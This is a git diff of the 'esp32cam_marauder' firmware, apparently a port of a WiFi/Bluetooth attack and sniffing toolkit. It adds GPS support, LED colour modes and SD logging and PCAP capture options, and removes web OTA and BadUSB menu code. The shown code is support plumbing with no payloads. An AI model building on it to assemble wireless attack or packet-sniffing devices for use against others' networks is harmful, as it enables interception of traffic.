+  uint8_t num_sat = nmea.getNumSatellites();
+
+  if ((nmea.isValid()) && (num_sat > 0))
+    this->setGPSInfo();
+
+  else if ((!nmea.isValid()) && (num_sat <= 0)) {
+    this->setGPSInfo();
+  }
+}
+#endif

+ 39 - 0
esp32cam_marauder/GpsInterface.h

@@ -0,0 +1,39 @@
+#ifndef GpsInterface_h
+#define GpsInterface_h
+
+#include <MicroNMEA.h>
+
+#include "configs.h"
+
+class GpsInterface {
+  public:
+    void begin();
+    void main();
+
+    String getNumSatsString();
+    bool getFixStatus();
+    String getFixStatusAsString();
+    bool getGpsModuleStatus();
+    String getLat();
+    String getLon();
+    float getAlt();
+    float getAccuracy();
+    String getDatetime();
+
+  private:
+    // GPS Info
+    String lat = "";
+    String lon = "";
+    float altf = 0.0;
+    float accuracy = 0.0;
+    String datetime = "";
+    
+    bool gps_enabled = false;
+    bool good_fix = false;
+    uint8_t num_sats = 0;
+
+    String dt_string_from_gps();
+    void setGPSInfo();
+};
+
+#endif

+ 14 - 9
esp32cam_marauder/LedInterface.cpp

@@ -1,7 +1,7 @@
 #include "LedInterface.h"
 #include "LedInterface.h"
 
 
 LedInterface::LedInterface() {
 LedInterface::LedInterface() {
-  
+
 }
 }
 
 
 void LedInterface::RunSetup() {
 void LedInterface::RunSetup() {
@@ -33,6 +33,9 @@ void LedInterface::main(uint32_t currentTime) {
   else if (this->current_mode == MODE_SNIFF) {
   else if (this->current_mode == MODE_SNIFF) {
     this->sniffLed();
     this->sniffLed();
   }
   }
+  else if (this->current_mode == MODE_CUSTOM) {
+    return;
+  }
   else {
   else {
     this->ledOff();
     this->ledOff();
   }
   }
@@ -46,25 +49,27 @@ uint8_t LedInterface::getMode() {
   return this->current_mode;
   return this->current_mode;
 }
 }
 
 
+void LedInterface::setColor(int r, int g, int b) {
+  strip.setPixelColor(0, strip.Color(r, g, b));
+  strip.show();  
+}
+
 void LedInterface::sniffLed() {
 void LedInterface::sniffLed() {
-  strip.setPixelColor(0, strip.Color(0, 0, 255));
-  strip.show();
+  this->setColor(0, 0, 255);
 }
 }
 
 
 void LedInterface::attackLed() {
 void LedInterface::attackLed() {
-  strip.setPixelColor(0, strip.Color(255, 0, 0));
-  strip.show();
+  this->setColor(255, 0, 0);
 }
 }
 
 
 void LedInterface::ledOff() {
 void LedInterface::ledOff() {
-  strip.setPixelColor(0, strip.Color(0, 0, 0));
-  strip.show();
+  this->setColor(0, 0, 0);
 }
 }
 
 
 void LedInterface::rainbow() {
 void LedInterface::rainbow() {
   strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
   strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
   strip.show();
   strip.show();
-    
+
   this->current_fade_itter++;
   this->current_fade_itter++;
 
 
   this->wheel_pos = this->wheel_pos - this->wheel_speed;
   this->wheel_pos = this->wheel_pos - this->wheel_speed;
@@ -83,4 +88,4 @@ uint32_t LedInterface::Wheel(byte WheelPos) {
   }
   }
   WheelPos -= 170;
   WheelPos -= 170;
   return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
   return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
-}
+}

+ 2 - 0
esp32cam_marauder/LedInterface.h

@@ -12,6 +12,7 @@
 #define MODE_RAINBOW 1
 #define MODE_RAINBOW 1
 #define MODE_ATTACK 2
 #define MODE_ATTACK 2
 #define MODE_SNIFF 3
 #define MODE_SNIFF 3
+#define MODE_CUSTOM 4
 
 
 extern Settings settings_obj;
 extern Settings settings_obj;
 extern Adafruit_NeoPixel strip;
 extern Adafruit_NeoPixel strip;
@@ -41,6 +42,7 @@ class LedInterface {
     void main(uint32_t currentTime);
     void main(uint32_t currentTime);
 
 
     void setMode(uint8_t);
     void setMode(uint8_t);
+    void setColor(int r, int g, int b);
     uint8_t getMode();
     uint8_t getMode();
     
     
   
   

تفاوت فایلی نمایش داده نمی شود زیرا این فایل بسیار بزرگ است
+ 113 - 548
esp32cam_marauder/MenuFunctions.cpp


+ 17 - 38
esp32cam_marauder/MenuFunctions.h

@@ -8,15 +8,11 @@
 #define BATTERY_ANALOG_ON 0
 #define BATTERY_ANALOG_ON 0
 
 
 #include "WiFiScan.h"
 #include "WiFiScan.h"
-#include "Display.h"
 #include "BatteryInterface.h"
 #include "BatteryInterface.h"
 #include "SDInterface.h"
 #include "SDInterface.h"
-#include "Web.h"
-#include "esp_interface.h"
-#include "a32u4_interface.h"
 #include "settings.h"
 #include "settings.h"
 
 
-#ifdef MARAUDER_MINI
+#ifdef HAS_BUTTONS
   #include <SwitchLib.h>
   #include <SwitchLib.h>
   extern SwitchLib u_btn;
   extern SwitchLib u_btn;
   extern SwitchLib d_btn;
   extern SwitchLib d_btn;
@@ -25,13 +21,9 @@
   extern SwitchLib c_btn;
   extern SwitchLib c_btn;
 #endif
 #endif
 
 
-extern Display display_obj;
 extern WiFiScan wifi_scan_obj;
 extern WiFiScan wifi_scan_obj;
-extern Web web_obj;
 extern SDInterface sd_obj;
 extern SDInterface sd_obj;
 extern BatteryInterface battery_obj;
 extern BatteryInterface battery_obj;
-extern EspInterface esp_obj;
-extern A32u4Interface a32u4_obj;
 extern Settings settings_obj;
 extern Settings settings_obj;
 
 
 #define FLASH_BUTTON 0
 #define FLASH_BUTTON 0
@@ -68,17 +60,15 @@ extern Settings settings_obj;
 #define STATUS_BAT 22
 #define STATUS_BAT 22
 #define STATUS_SD 23
 #define STATUS_SD 23
 #define PWNAGOTCHI 24
 #define PWNAGOTCHI 24
-#define ESPRESSIF 25
-#define SHUTDOWN 26
-#define BEACON_LIST 27
-#define GENERATE 28
-#define CLEAR_ICO 29
-#define KEYBOARD_ICO 30
-#define JOIN_WIFI 31
-#define ESP_UPDATE_ICO 32
-#define BAD_USB_ICO 33
-#define TEST_BAD_USB_ICO 34
-#define LANGUAGE 35
+#define SHUTDOWN 25
+#define BEACON_LIST 26
+#define GENERATE 27
+#define CLEAR_ICO 28
+#define KEYBOARD_ICO 29
+#define JOIN_WIFI 30
+#define LANGUAGE 31
+#define STATUS_GPS 32
+#define GPS_MENU 33
 
 
 PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
 PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
 PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
 PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
@@ -87,15 +77,10 @@ PROGMEM static lv_disp_buf_t disp_buf;
 PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
 PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
 
 
 PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
 PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
-PROGMEM static void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
 PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
 PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
-PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
 PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
 PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
-PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
 
 
 // lvgl stuff
 // lvgl stuff
 PROGMEM static lv_obj_t *kb;
 PROGMEM static lv_obj_t *kb;
@@ -107,9 +92,9 @@ struct Menu;
 
 
 struct MenuNode {
 struct MenuNode {
   String name;
   String name;
-  String command;
+  bool command;
   uint16_t color;
   uint16_t color;
-  int icon;
+  uint8_t icon;
   TFT_eSPI_Button* button;
   TFT_eSPI_Button* button;
   bool selected;
   bool selected;
   std::function<void()> callable;
   std::function<void()> callable;
@@ -132,7 +117,6 @@ class MenuFunctions
 
 
     uint32_t initTime = 0;
     uint32_t initTime = 0;
 
 
-    //Menu* current_menu;
 
 
     // Main menu stuff
     // Main menu stuff
     Menu mainMenu;
     Menu mainMenu;
@@ -140,14 +124,12 @@ class MenuFunctions
     Menu wifiMenu;
     Menu wifiMenu;
     Menu bluetoothMenu;
     Menu bluetoothMenu;
     Menu badusbMenu;
     Menu badusbMenu;
-    Menu generalMenu;
     Menu deviceMenu;
     Menu deviceMenu;
 
 
     // Device menu stuff
     // Device menu stuff
     Menu whichUpdateMenu;
     Menu whichUpdateMenu;
     Menu failedUpdateMenu;
     Menu failedUpdateMenu;
     Menu confirmMenu;
     Menu confirmMenu;
-    Menu espUpdateMenu;
     Menu updateMenu;
     Menu updateMenu;
     Menu settingsMenu;
     Menu settingsMenu;
     Menu specSettingMenu;
     Menu specSettingMenu;
@@ -162,11 +144,8 @@ class MenuFunctions
 
 
     // Bluetooth menu stuff
     // Bluetooth menu stuff
     Menu bluetoothSnifferMenu;
     Menu bluetoothSnifferMenu;
-    Menu bluetoothGeneralMenu;
 
 
     // Settings things menus
     // Settings things menus
-    Menu shutdownWiFiMenu;
-    Menu shutdownBLEMenu;
     Menu generateSSIDsMenu;
     Menu generateSSIDsMenu;
 
 
     static void lv_tick_handler();
     static void lv_tick_handler();
@@ -174,7 +153,6 @@ class MenuFunctions
     // Menu icons
     // Menu icons
 
 
 
 
-    //TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
 
 
     void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function<void()> callable, bool selected = false, String command = "");
     void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function<void()> callable, bool selected = false, String command = "");
     void updateStatusBar();
     void updateStatusBar();
@@ -194,6 +172,11 @@ class MenuFunctions
     Menu clearSSIDsMenu;
     Menu clearSSIDsMenu;
     Menu clearAPsMenu;
     Menu clearAPsMenu;
 
 
+    #ifdef HAS_GPS
+      // GPS Menu
+      Menu gpsInfoMenu;
+    #endif
+
     Ticker tick;
     Ticker tick;
 
 
     uint16_t x = -1, y = -1;
     uint16_t x = -1, y = -1;
@@ -203,13 +186,9 @@ class MenuFunctions
 
 
     void initLVGL();
     void initLVGL();
     void deinitLVGL();
     void deinitLVGL();
-    void joinWiFiGFX();
     void addSSIDGFX();
     void addSSIDGFX();
     void addAPGFX();
     void addAPGFX();
     void addStationGFX();
     void addStationGFX();
-    void displaySettingsGFX();
-    void writeBadUSB();
-
     void buildButtons(Menu* menu, int starting_index = 0);
     void buildButtons(Menu* menu, int starting_index = 0);
     void changeMenu(Menu* menu);
     void changeMenu(Menu* menu);
     void drawStatusBar();
     void drawStatusBar();

+ 276 - 235
esp32cam_marauder/SDInterface.cpp

@@ -1,235 +1,276 @@
-#include "SDInterface.h"
-#include "lang_var.h"
-
-bool SDInterface::initSD() {
-  String display_string = "";
-
-  /*#ifdef KIT
-    pinMode(SD_DET, INPUT);
-    if (digitalRead(SD_DET) == LOW) {
-      Serial.println(F("SD Card Detect Pin Detected"));
-    }
-    else {
-      Serial.println(F("SD Card Detect Pin Not Detected"));
-      this->supported = false;
-      return false;
-    }
-  #endif
-
-  pinMode(SD_CS, OUTPUT);
-
-  delay(10);*/
-
-  if (!SD_MMC.begin("/sdcard", true, false, SDMMC_FREQ_DEFAULT)) {
-    Serial.println(F("Failed to mount SD Card"));
-    this->supported = false;
-    return false;
-  }
-  uint8_t cardType = SD_MMC.cardType();
-  if (cardType == CARD_NONE) {
-    Serial.println("No MicroSD Card found");
-    this->supported = false;
-    return false;
-  } else {
-    this->supported = true;
-    this->cardType = cardType;
-    //if (cardType == CARD_MMC)
-    //  Serial.println(F("SD: MMC Mounted"));
-    //else if(cardType == CARD_SD)
-    //    Serial.println(F("SD: SDSC Mounted"));
-    //else if(cardType == CARD_SDHC)
-    //    Serial.println(F("SD: SDHC Mounted"));
-    //else
-    //    Serial.println(F("SD: UNKNOWN Card Mounted"));
-
-    this->cardSizeMB = SD_MMC.cardSize() / (1024 * 1024);
-    
-    //Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
-
-    if (this->supported) {
-      const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
-    
-      char sz[NUM_DIGITS + 1];
-     
-      sz[NUM_DIGITS] =  0;
-      for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
-      {
-          sz[i] = '0' + (this->cardSizeMB % 10);
-          display_string.concat((String)sz[i]);
-      }
-  
-      this->card_sz = sz;
-    }
-
-    buffer_obj = Buffer();
-    
-    if (!SD_MMC.exists("/SCRIPTS")) {
-      Serial.println("/SCRIPTS does not exist. Creating...");
-
-      SD_MMC.mkdir("/SCRIPTS");
-      Serial.println("/SCRIPTS created");
-    }
-    
-    return true;
-  }
-}
-
-void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
-  if ((this->supported) && (this->do_save)) {
-    buffer_obj.addPacket(buf, len);
-  }
-}
-
-void SDInterface::openCapture(String file_name) {
-  if (this->supported)
-    buffer_obj.createPcapFile(&SD_MMC, file_name);
-    buffer_obj.open();
-}
-
-void SDInterface::runUpdate() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_WHITE);
-  
-    display_obj.tft.println(F(text15));
-  #endif
-  File updateBin = SD_MMC.open("/update.bin");
-  if (updateBin) {
-    if(updateBin.isDirectory()){
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_RED);
-        display_obj.tft.println(F(text_table2[0]));
-      #endif
-      Serial.println(F("Error, could not find \"update.bin\""));
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_WHITE);
-      #endif
-      updateBin.close();
-      return;
-    }
-
-    size_t updateSize = updateBin.size();
-
-    if (updateSize > 0) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(F(text_table2[1]));
-      #endif
-      Serial.println(F("Starting update over SD. Please wait..."));
-      this->performUpdate(updateBin, updateSize);
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_RED);
-        display_obj.tft.println(F(text_table2[2]));
-      #endif
-      Serial.println(F("Error, file is empty"));
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_WHITE);
-      #endif
-      return;
-    }
-
-    updateBin.close();
-    
-      // whe finished remove the binary from sd card to indicate end of the process
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(F(text_table2[3]));
-    #endif
-    Serial.println(F("rebooting..."));
-    //SD.remove("/update.bin");      
-    delay(1000);
-    ESP.restart();
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text_table2[4]));
-    #endif
-    Serial.println(F("Could not load update.bin from sd root"));
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_WHITE);
-    #endif
-  }
-}
-
-void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
-  if (Update.begin(updateSize)) {   
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[5] + String(updateSize));
-      display_obj.tft.println(F(text_table2[6]));
-    #endif
-    size_t written = Update.writeStream(updateSource);
-    if (written == updateSize) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
-      #endif
-      Serial.println("Written : " + String(written) + " successfully");
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
-      #endif
-      Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
-    }
-    if (Update.end()) {
-      Serial.println("OTA done!");
-      if (Update.isFinished()) {
-        #ifdef HAS_SCREEN
-          display_obj.tft.println(F(text_table2[11]));
-        #endif
-        Serial.println(F("Update successfully completed. Rebooting."));
-      }
-      else {
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_RED);
-          display_obj.tft.println(text_table2[12]);
-        #endif
-        Serial.println("Update not finished? Something went wrong!");
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_WHITE);
-        #endif
-      }
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[13] + String(Update.getError()));
-      #endif
-      Serial.println("Error Occurred. Error #: " + String(Update.getError()));
-    }
-
-  }
-  else
-  {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[14]);
-    #endif
-    Serial.println("Not enough space to begin OTA");
-  }
-}
-
-bool SDInterface::checkDetectPin() {
-  /* #ifdef KIT
-    if (digitalRead(SD_DET) == LOW)
-      return true;
-    else
-      return false;
-  #endif*/
-
-  return false;
-}
-
-void SDInterface::main() {
-  if ((this->supported) && (this->do_save)) {
-    //Serial.println("Saving packet...");
-    buffer_obj.forceSave(&SD_MMC);
-  }
-  else if (!this->supported) {
-    if (checkDetectPin()) {
-      delay(100);
-      this->initSD();
-    }
-  }
-}
+#include "SDInterface.h"
+#include "lang_var.h"
+
+bool SDInterface::initSD() {
+    String display_string = "";
+
+    /*#ifdef KIT
+      pinMode(SD_DET, INPUT);
+      if (digitalRead(SD_DET) == LOW) {
+        Serial.println(F("SD Card Detect Pin Detected"));
+      }
+      else {
+        Serial.println(F("SD Card Detect Pin Not Detected"));
+        this->supported = false;
+        return false;
+      }
+    #endif
+
+    pinMode(SD_CS, OUTPUT);
+
+    delay(10);*/
+
+  if (!SD_MMC.begin("/sdcard", true, false, SDMMC_FREQ_DEFAULT)) {
+    Serial.println(F("Failed to mount SD Card"));
+    this->supported = false;
+    return false;
+  }
+  uint8_t cardType = SD_MMC.cardType();
+  if (cardType == CARD_NONE) {
+    Serial.println("No MicroSD Card found");
+    this->supported = false;
+    return false;
+  } else {
+    this->supported = true;
+    this->cardType = cardType;
+      //if (cardType == CARD_MMC)
+      //  Serial.println(F("SD: MMC Mounted"));
+      //else if(cardType == CARD_SD)
+      //    Serial.println(F("SD: SDSC Mounted"));
+      //else if(cardType == CARD_SDHC)
+      //    Serial.println(F("SD: SDHC Mounted"));
+      //else
+      //    Serial.println(F("SD: UNKNOWN Card Mounted"));
+
+    this->cardSizeMB = SD_MMC.cardSize() / (1024 * 1024);
+    
+      //Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
+
+      if (this->supported) {
+        const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
+
+        char sz[NUM_DIGITS + 1];
+
+        sz[NUM_DIGITS] =  0;
+        for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
+        {
+            sz[i] = '0' + (this->cardSizeMB % 10);
+            display_string.concat((String)sz[i]);
+        }
+  
+        this->card_sz = sz;
+      }
+
+      buffer_obj = Buffer();
+    
+      if (!SD_MMC.exists("/SCRIPTS")) {
+        Serial.println("/SCRIPTS does not exist. Creating...");
+
+        SD_MMC.mkdir("/SCRIPTS");
+        Serial.println("/SCRIPTS created");
+      }
+    
+      return true;
+  }
+}
+
+File SDInterface::getFile(String path) {
+  if (this->supported) {
+    File file = SD_MMC.open(path, FILE_READ);
+
+    //if (file)
+    return file;
+  }
+}
+
+void SDInterface::listDir(String str_dir){
+  if (this->supported) {
+    File dir = SD_MMC.open(str_dir);
+    while (true)
+    {
+      File entry =  dir.openNextFile();
+      if (! entry)
+      {
+        break;
+      }
+      //for (uint8_t i = 0; i < numTabs; i++)
+      //{
+      //  Serial.print('\t');
+      //}
+      Serial.print(entry.name());
+      Serial.print("\t");
+      Serial.println(entry.size());
+      entry.close();
+    }
+  }
+}
+
+void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
+  if ((this->supported) && (this->do_save)) {
+    buffer_obj.addPacket(buf, len, log);
+  }
+}
+
+void SDInterface::openCapture(String file_name) {
+  bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
+  if ((this->supported) && (save_pcap)) {
+    buffer_obj.createPcapFile(&SD_MMC, file_name);
+    buffer_obj.open();
+  }
+}
+
+void SDInterface::openLog(String file_name) {
+  bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
+  if ((this->supported) && (save_pcap)) {
+    buffer_obj.createPcapFile(&SD_MMC, file_name, true);
+    buffer_obj.open(true);
+  }
+}
+
+void SDInterface::runUpdate() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_WHITE);
+  
+    display_obj.tft.println(F(text15));
+  #endif
+  File updateBin = SD_MMC.open("/update.bin");
+  if (updateBin) {
+    if(updateBin.isDirectory()){
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_RED);
+        display_obj.tft.println(F(text_table2[0]));
+      #endif
+      Serial.println(F("Error, could not find \"update.bin\""));
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_WHITE);
+      #endif
+      updateBin.close();
+      return;
+    }
+
+    size_t updateSize = updateBin.size();
+
+    if (updateSize > 0) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(F(text_table2[1]));
+      #endif
+      Serial.println(F("Starting update over SD. Please wait..."));
+      this->performUpdate(updateBin, updateSize);
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_RED);
+        display_obj.tft.println(F(text_table2[2]));
+      #endif
+      Serial.println(F("Error, file is empty"));
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_WHITE);
+      #endif
+      return;
+    }
+
+    updateBin.close();
+    
+      // whe finished remove the binary from sd card to indicate end of the process
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(F(text_table2[3]));
+    #endif
+    Serial.println(F("rebooting..."));
+    //SD.remove("/update.bin");      
+    delay(1000);
+    ESP.restart();
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED);
+      display_obj.tft.println(F(text_table2[4]));
+    #endif
+    Serial.println(F("Could not load update.bin from sd root"));
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_WHITE);
+    #endif
+  }
+}
+
+void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
+  if (Update.begin(updateSize)) {   
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table2[5] + String(updateSize));
+      display_obj.tft.println(F(text_table2[6]));
+    #endif
+    size_t written = Update.writeStream(updateSource);
+    if (written == updateSize) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
+      #endif
+      Serial.println("Written : " + String(written) + " successfully");
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
+      #endif
+      Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
+    }
+    if (Update.end()) {
+      Serial.println("OTA done!");
+      if (Update.isFinished()) {
+        #ifdef HAS_SCREEN
+          display_obj.tft.println(F(text_table2[11]));
+        #endif
+        Serial.println(F("Update successfully completed. Rebooting."));
+      }
+      else {
+        #ifdef HAS_SCREEN
+          display_obj.tft.setTextColor(TFT_RED);
+          display_obj.tft.println(text_table2[12]);
+        #endif
+        Serial.println("Update not finished? Something went wrong!");
+        #ifdef HAS_SCREEN
+          display_obj.tft.setTextColor(TFT_WHITE);
+        #endif
+      }
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table2[13] + String(Update.getError()));
+      #endif
+      Serial.println("Error Occurred. Error #: " + String(Update.getError()));
+    }
+
+  }
+  else
+  {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table2[14]);
+    #endif
+    Serial.println("Not enough space to begin OTA");
+  }
+}
+
+bool SDInterface::checkDetectPin() {
+  /* #ifdef KIT
+    if (digitalRead(SD_DET) == LOW)
+      return true;
+    else
+      return false;
+  #endif*/
+
+  return false;
+}
+
+void SDInterface::main() {
+  if ((this->supported) && (this->do_save)) {
+    //Serial.println("Saving packet...");
+    buffer_obj.forceSave(&SD_MMC);
+  }
+  else if (!this->supported) {
+    if (checkDetectPin()) {
+      delay(100);
+      this->initSD();
+    }
+  }
+}

+ 6 - 2
esp32cam_marauder/SDInterface.h

@@ -3,7 +3,7 @@
 
 
 #include "configs.h"
 #include "configs.h"
 
 
-//#include "SD.h"
+#include "settings.h"
 #include "FS.h"                // SD Card ESP32
 #include "FS.h"                // SD Card ESP32
 #include "SD_MMC.h"            // SD Card ESP32
 #include "SD_MMC.h"            // SD Card ESP32
 #include "Buffer.h"
 #include "Buffer.h"
@@ -13,6 +13,7 @@
 #include <Update.h>
 #include <Update.h>
 
 
 extern Buffer buffer_obj;
 extern Buffer buffer_obj;
+extern Settings settings_obj;
 #ifdef HAS_SCREEN
 #ifdef HAS_SCREEN
   extern Display display_obj;
   extern Display display_obj;
 #endif
 #endif
@@ -39,8 +40,11 @@ class SDInterface {
   
   
     bool initSD();
     bool initSD();
 
 
-    void addPacket(uint8_t* buf, uint32_t len);
+    void listDir(String str_dir);
+    File getFile(String path);
+    void addPacket(uint8_t* buf, uint32_t len, bool log = false);
     void openCapture(String file_name = "");
     void openCapture(String file_name = "");
+    void openLog(String file_name = "");
     void runUpdate();
     void runUpdate();
     void performUpdate(Stream &updateSource, size_t updateSize);
     void performUpdate(Stream &updateSource, size_t updateSize);
     void main();
     void main();

+ 0 - 36
esp32cam_marauder/TemperatureInterface.cpp

@@ -1,36 +0,0 @@
-#include "TemperatureInterface.h"
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-uint8_t temprature_sens_read();
-#ifdef __cplusplus
-}
-#endif
-uint8_t temprature_sens_read();
-
-TemperatureInterface::TemperatureInterface() {
-  
-}
-
-void TemperatureInterface::RunSetup() {
-  this->initTime = millis();
-  this->current_temp = this->getCurrentTemp();
-}
-
-uint8_t TemperatureInterface::getCurrentTemp() {
-  #ifndef MARAUDER_FLIPPER
-    return ((temprature_sens_read() - 32) / 1.8);
-  #endif
-    return 0;
-}
-
-void TemperatureInterface::main(uint32_t currentTime) {
-  if (currentTime != 0) {
-    if (currentTime - initTime >= 100) {
-      //Serial.println("Checking Battery Level");
-      this->initTime = millis();
-      this->current_temp = this->getCurrentTemp();
-    }
-  }
-}

+ 0 - 24
esp32cam_marauder/TemperatureInterface.h

@@ -1,24 +0,0 @@
-#ifndef TemperatureInterface_h
-#define TemperatureInterface_h
-
-#include "configs.h"
-
-#include <Arduino.h>
-
-class TemperatureInterface {
-
-  private:
-    uint32_t initTime = 0;
-    
-  public:
-    TemperatureInterface();
-
-    uint8_t current_temp = 0;
-    uint8_t old_temp = 0;
-
-    uint8_t getCurrentTemp();
-    void RunSetup();
-    void main(uint32_t currentTime);
-};
-
-#endif

+ 0 - 178
esp32cam_marauder/Web.cpp

@@ -1,178 +0,0 @@
-#include "Web.h"
-#include "lang_var.h"
-
-WebServer server(80);
-
-Web::Web()
-{
-  
-}
-
-void Web::main()
-{
-  // Notify if client has connected to the update server
-
-  
-  int current_sta = WiFi.softAPgetStationNum();
-  
-  if (current_sta < this->num_sta)
-  {
-    this->num_sta = current_sta;
-    Serial.print("Update server: Client disconnected -> ");
-    Serial.println(this->num_sta);
-  }
-  else if (current_sta > this->num_sta)
-  {
-    this->num_sta = current_sta;
-    Serial.print("Update server: Client connected -> ");
-    Serial.println(this->num_sta);
-  }
-  
-  
-  server.handleClient();
-  delay(1);
-}
-
-// Callback for the embedded jquery.min.js page
-void Web::onJavaScript(void) {
-    Serial.println("onJavaScript(void)");
-    server.setContentLength(jquery_min_js_v3_2_1_gz_len);
-    server.sendHeader(F("Content-Encoding"), F("gzip"));
-    server.send_P(200, "text/javascript", jquery_min_js_v3_2_1_gz, jquery_min_js_v3_2_1_gz_len);
-}
-
-void Web::setupOTAupdate()
-{
-  uint8_t newMACAddress[] = {0x06, 0x07, 0x0D, 0x09, 0x0E, 0x0D};
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_WHITE);
-  #endif
-
-  Serial.println(wifi_scan_obj.freeRAM());
-  #ifdef HAS_SCREEN
-    display_obj.tft.print(text_table3[0]);  
-  #endif
-  Serial.println("Configuring update server...");
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_YELLOW);
-  #endif
-  
-  // Start WiFi AP
-  Serial.println("Initializing WiFi...");
-  //wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
-  esp_wifi_init(&wifi_scan_obj.cfg);
-  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  if (esp_wifi_set_storage(WIFI_STORAGE_FLASH) != ESP_OK)
-    Serial.println("Could not set WiFi Storage!");
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  Serial.println(wifi_scan_obj.freeRAM());
-
-  Serial.println("Starting softAP...");
-  esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
